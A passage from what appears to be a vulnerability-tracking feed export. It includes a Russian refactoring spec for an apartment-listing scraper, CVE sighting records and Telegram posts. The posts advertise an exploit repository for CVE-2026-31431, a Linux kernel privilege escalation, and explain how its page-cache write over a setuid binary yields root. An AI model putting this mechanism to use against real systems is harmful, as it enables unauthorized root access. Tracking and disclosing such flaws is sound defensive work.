HTTP transport;\n- lightweight local persistence, \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0442\u0438\u0442\u0435\u043b\u044c\u043d\u043e SQLite;\n- deterministic search/ranking.\n\nOptional:\n\n- Chroma/\u0434\u0440\u0443\u0433\u0430\u044f vector DB;\n- embeddings;\n- local Torch models;\n- external LLM;\n- vision.\n\n\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f:\n\n- \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043f\u043e\u0438\u0441\u043a \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0441\u0435\u0442\u0435\u0432\u0443\u044e vector DB;\n- default install \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0443\u044e pre-auth RCE/code-injection \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c;\n- \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u044f\u0432\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 AI features;\n- \u0432\u0441\u0435 model calls \u0438\u043c\u0435\u044e\u0442 timeout, retry budget \u0438 cost/usage telemetry;\n- SQLite migrations versioned \u0438 \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b;\n- failure AI-layer \u043d\u0435 \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0430\u0435\u0442 \u0443\u0436\u0435 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0435 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b.\n\n---\n\n## \u0422\u0435\u0441\u0442\u044b\n\n### Unit\n\n- HTTP 200 + valid listing marker \u2192 browser \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f;\n- HTTP 200 + valid detail `jsdata` \u2192 browser \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f;\n- HTTP 403/429/503 \u2192 browser fallback;\n- challenge HTML \u0441 HTTP 200 \u2192 browser fallback;\n- HTTP 200 \u0431\u0435\u0437 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 markers \u2192 browser fallback;\n- browser \u0442\u043e\u0436\u0435 \u043d\u0435\u0432\u0430\u043b\u0438\u0434\u0435\u043d \u2192 typed error;\n- zero-result listing \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f parser failure;\n- invalid XHR/NPS plan \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442\u0441\u044f;\n- retry \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 `Retry-After`;\n- cancellation \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u0441\u0443\u0440\u0441\u044b;\n- XSS payloads \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 report.\n\n### Integration\n\n- adapter \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 fake HTTP \u0438 fake Browser transports;\n- interactive mode \u043d\u0435 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 configured shortlist limit;\n- monitoring mode \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0432\u0441\u0435 \u043d\u043e\u0432\u044b\u0435 IDs;\n- known IDs \u0438 early stop \u043d\u0435 \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u0440\u0443\u044e\u0442;\n- HTTP \u0438 browser HTML \u0434\u0430\u044e\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0435 normalized Apartment records \u043d\u0430 fixtures;\n- \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u044b\u0439 detail failure \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438 \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u043e\u0442\u0447\u0451\u0442 \u043e\u0431\n  \u043e\u0448\u0438\u0431\u043a\u0430\u0445.\n\n### Live canary\n\n\u041e\u043f\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439, read-only, throttled, \u043d\u0435 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 PR:\n\n- \u043e\u0434\u043d\u0430 listing page;\n- \u043e\u0434\u043d\u0430 detail page;\n- \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u043e\u0432/\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438;\n- \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 status, markers \u0438 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e schema;\n- \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0433\u0440\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043c\u0435\u0442\u0440\u0438\u043a\u0438;\n- \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 live HTML \u043a\u0430\u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 CI artifact.\n\n### Security CI\n\n- `pip-audit`;\n- secret scan;\n- static analysis;\n- test default bind host;\n- report XSS tests;\n- dependency license inventory.\n\n### Benchmark\n\n\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 command, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:\n\n```bash\nuv run python scripts/benchmark_krisha.py \\\n  --listing-pages 1 \\\n  --detail-pages 20 \\\n  --compare http,browser \\\n  --json artifacts/krisha-benchmark.json\n```\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c median/p95, request count, bytes, browser launches,\nfallbacks, parse success \u0438 environment metadata. \u041d\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c personal data.\n\n---\n\n## Acceptance criteria\n\n\u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0433\u043e\u0442\u043e\u0432\u044b\u043c, \u0435\u0441\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u0432\u0441\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f:\n\n### Performance\n\n- clean listing HTTP p95 \u2264 1.0 s \u043d\u0430 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u043c benchmark;\n- \u043d\u0430 clean HTTP 200 + valid `jsdata` \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f **0 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432**;\n- transport 1 listing + 20 detail pages \u0443\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u2264 12 s \u043f\u0440\u0438 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0445\n  polite rate-limit settings \u043b\u0438\u0431\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u044f\u0432\u043d\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u0443\u0435\u0442, \u043f\u043e\u0447\u0435\u043c\u0443 \u0431\u043e\u043b\u0435\u0435\n  \u0441\u0442\u0440\u043e\u0433\u0438\u0439 rate limit \u0434\u0430\u0451\u0442 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u0440\u0435\u0434\u0435\u043b;\n- interactive mode \u0434\u0435\u043b\u0430\u0435\u0442 detail requests \u043d\u0435 \u0431\u043e\u043b\u044c\u0448\u0435\n  `shortlist_limit + documented overhead`;\n- AI analysis \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u043e\u0432, \u043e\u0442\u0441\u0435\u044f\u043d\u043d\u044b\u0445 hard filters;\n- benchmark \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 3\u00d7 end-to-end speedup \u0432 interactive mode\n  \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e browser-only baseline \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438.\n\n### Correctness\n\n- data parity HTTP vs browser = 100% \u0434\u043b\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 normalized fields \u043d\u0430\n  golden fixtures;\n- monitoring mode \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442 \u043d\u043e\u0432\u044b\u0435 IDs;\n- zero results, removed advert \u0438 schema drift \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f;\n- fallback reason \u0432\u0438\u0434\u0435\u043d \u0432 telemetry;\n- partial failure \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0443\u0441\u0442\u043e\u0439 \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442;\n- \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0442\u0435\u0441\u0442\u044b \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442.\n\n### Security\n\n- 0 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 high/critical vulnerabilities \u0432 default install;\n- default install \u043d\u0435 \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u0442 Chroma \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u043e\u0439 network service;\n- \u0432\u0441\u0435 local servers \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e bind \u0442\u043e\u043b\u044c\u043a\u043e `127.0.0.1`;\n- \u0432\u043d\u0435\u0448\u043d\u0438\u0439 bind \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u044f\u0432\u043d\u043e\u0433\u043e opt-in \u0438 auth;\n- HTML report \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u0443\u0435\u0442 untrusted fields \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 URL schemes;\n- CI \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 dependency \u0438 secret scans;\n- browser/session secrets \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 logs \u0438 fixtures.\n\n### Skill quality\n\n- `SKILL.md` \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u0438 \u0438\u0445 trade-offs;\n- HTTP-first \u0438 browser fallback \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u044b \u0447\u0435\u0441\u0442\u043d\u043e;\n- \u0430\u0433\u0435\u043d\u0442 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 freshness, counts \u0438 fallback state;\n- recon \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043f\u043e\u0438\u0441\u043a;\n- `parse-research` output \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 semantic validation;\n- NPS/telemetry/view-counter endpoint \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c apartment data source.\n\n---\n\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c\u044b\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u043a\u043e\u043c\u043c\u0438\u0442\u043e\u0432\n\n1. `security: harden server and report defaults`\n2. `deps: split core/browser/ai extras and remediate advisories`\n3. `refactor: introduce transport protocol`\n4. `feat: add pooled HTTP transport and structural validation`\n5. `feat: retain CloakBrowser as adaptive fallback`\n6. `feat: add shared rate governor and retry policy`\n7. `feat: add interactive and full-ingest modes`\n8. `perf: defer embeddings and LLM until shortlist`\n9. `test: add sanitized golden fixtures and transport matrix`\n10. `fix: validate parse-research extraction plans`\n11. `docs: update apartment-search skill and operating modes`\n12. `bench: publish reproducible HTTP-vs-browser results`\n\n\u041f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u043e\u043c\u043c\u0438\u0442\u0430 \u0442\u0435\u0441\u0442\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c. \u041d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0439 security hotfix,\ntransport refactor \u0438 behavioral change \u0432 \u043e\u0434\u0438\u043d \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 diff.\n\n---\n\n## Definition of Done / \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0432 \u0438\u0442\u043e\u0433\u043e\u0432\u043e\u043c PR\n\nCoding-\u0430\u0433\u0435\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u0438\u043b\u043e\u0436\u0438\u0442\u044c:\n\n- \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 benchmark JSON \u0438 \u043a\u043e\u0440\u043e\u0442\u043a\u0443\u044e \u0442\u0430\u0431\u043b\u0438\u0446\u0443 before/after;\n- \u0447\u0438\u0441\u043b\u043e browser launches before/after;\n- p50/p95 listing \u0438 detail latency;\n- request count \u0432 interactive \u0438 monitoring modes;\n- parser parity report;\n- \u0432\u044b\u0432\u043e\u0434 `pip-audit`;\n- \u0442\u0435\u0441\u0442 XSS hardening;\n- \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e default bind `127.0.0.1`;\n- \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u044b\u0445 dependencies \u0438 rationale;\n- \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 fallback triggers;\n- \u043f\u0440\u0438\u043c\u0435\u0440 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 skill \u0441 freshness/counts/fallback state;\n- \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u0438 \u0447\u0442\u043e \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0432\u043d\u0435 scope.\n\n\u0424\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 PR \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c \u00ab\u0441\u0442\u0430\u043b\u043e \u0431\u044b\u0441\u0442\u0440\u0435\u0435\u00bb \u0431\u0435\u0437 \u0447\u0438\u0441\u0435\u043b \u0438 \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d\n\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c \u00ab\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e malware \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d. \u041d\u0443\u0436\u043d\u044b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e:\n\n1. \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f;\n2. \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 dependency/runtime \u0440\u0438\u0441\u043a\u043e\u0432;\n3. \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u0430\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u044c;\n4. \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 performance gain.\n\n---\n\n## \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0439 \u0438\u0442\u043e\u0433 \u0434\u043b\u044f maintainer\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0438\u0434\u0435\u044f \u043d\u0435 \u0432 \u043e\u0442\u043a\u0430\u0437\u0435 \u043e\u0442 CloakBrowser. \u0415\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441 default path\n\u043d\u0430 \u0442\u043e\u0447\u0435\u0447\u043d\u044b\u0439 fallback. Krisha.kz \u0441\u0435\u0439\u0447\u0430\u0441 \u043e\u0442\u0434\u0430\u0451\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e SSR/embedded data, \u0430\n\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 parser \u0443\u0436\u0435 \u0443\u043c\u0435\u0435\u0442 \u0435\u0451 \u0447\u0438\u0442\u0430\u0442\u044c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 HTTP-first \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\n\u0443\u043c\u0435\u043d\u044c\u0448\u0430\u0435\u0442 latency, CPU/RAM, \u0447\u0438\u0441\u043b\u043e browser failures \u0438 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.\n\n\u0421\u0430\u043c\u044b\u0439 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 end-to-end \u0432\u044b\u0438\u0433\u0440\u044b\u0448 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0434\u0432\u0443\u0445\u044d\u0442\u0430\u043f\u043d\u044b\u043c\npipeline: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0434\u0435\u0448\u0451\u0432\u044b\u0435 filters/rank, \u0437\u0430\u0442\u0435\u043c details \u0438 AI \u0434\u043b\u044f shortlist.\n\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044c dependency, network-bind \u0438 HTML-report \u0440\u0438\u0441\u043a\u0438 \u2014 \u043e\u043d\u0438 \u043d\u0435\n\u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c\u044e, \u043d\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0439 production use \u043f\u043e\u043b\u043d\u043e\u0433\u043e runtime.\n", "creation_timestamp": "2026-07-24T09:40:25.119469Z"}, {"uuid": "31fe1e2d-45ab-4ddb-82af-85adfdf08bbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31451", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mrfhbbzjc72d", "content": "\ud83d\udd17 CVE : CVE-2025-23131, CVE-2026-23272, CVE-2026-23278, CVE-2026-23302, CVE-2026-31451, CVE-2026-46252, CVE-2026-52928, CVE-2026-53138, CVE-2026-53139, CVE-2026-53157, CVE-2026-53158, CVE-2026-53163, CVE-2026-53167, CVE-2026-53325, CVE-2026-53327, CVE-2026-53359, CVE-2026-53362, CVE-2026-53366", "creation_timestamp": "2026-07-24T13:25:31.655428Z"}, {"uuid": "e92c906d-81d3-4137-8582-ab29e749f790", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "MISP/efee3167-4868-4f50-b35b-565a4abec419", "content": "", "creation_timestamp": "2026-07-24T18:15:04.278311Z"}, {"uuid": "190fa98c-a1db-4d92-8fdc-64b483b3c538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "MISP/efee3167-4868-4f50-b35b-565a4abec419", "content": "", "creation_timestamp": "2026-07-25T00:15:05.790385Z"}, {"uuid": "92aec03e-abf3-4cba-aced-a935184573cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/95066", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a LeoxSoft\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-25 06:54:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\ud83d\ude80 CVE-2026-31431 - Linux Kernel AF_ALG + splice() Privilege Escalation Exploit (Zero-Day \u2192 Root Persistence)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-25T08:00:04.045755Z"}, {"uuid": "4aaccf4f-f30a-4710-aed2-dffab8566c22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/19jX0NJqwe-eDt64VLMorAQsUD0HmaUpeFyqaT6gmBrbpYo", "content": "", "creation_timestamp": "2026-07-25T12:00:03.638381Z"}, {"uuid": "7f5a8a4b-7f22-416e-85d4-d39eaefac168", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/soldatov_in_telegram/818", "content": "\u041d\u0430 \u0434\u043d\u044f\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 (CopyFail) \u0432 \u044f\u0434\u0440\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0441\u0435\u0445 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root.\n\n\u0421\u0443\u0442\u044c \u0443\u0437\u044f\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \n\n\u041a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c authencesn \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0447\u0430\u0441\u0442\u044c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430\u00bb \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0431\u0430\u0439\u0442\u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a\u0435\u0448\u0430 \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e \u0434\u0430\u0451\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0435\u0448 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 732-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 Python-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 AF_ALG \u0438 splice \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0431\u0430\u0439\u0442 \u0432 \u043a\u0435\u0448, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, setuid-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0448\u0435\u043b\u043b \u0441 \u0440\u0443\u0442\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438. \n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c 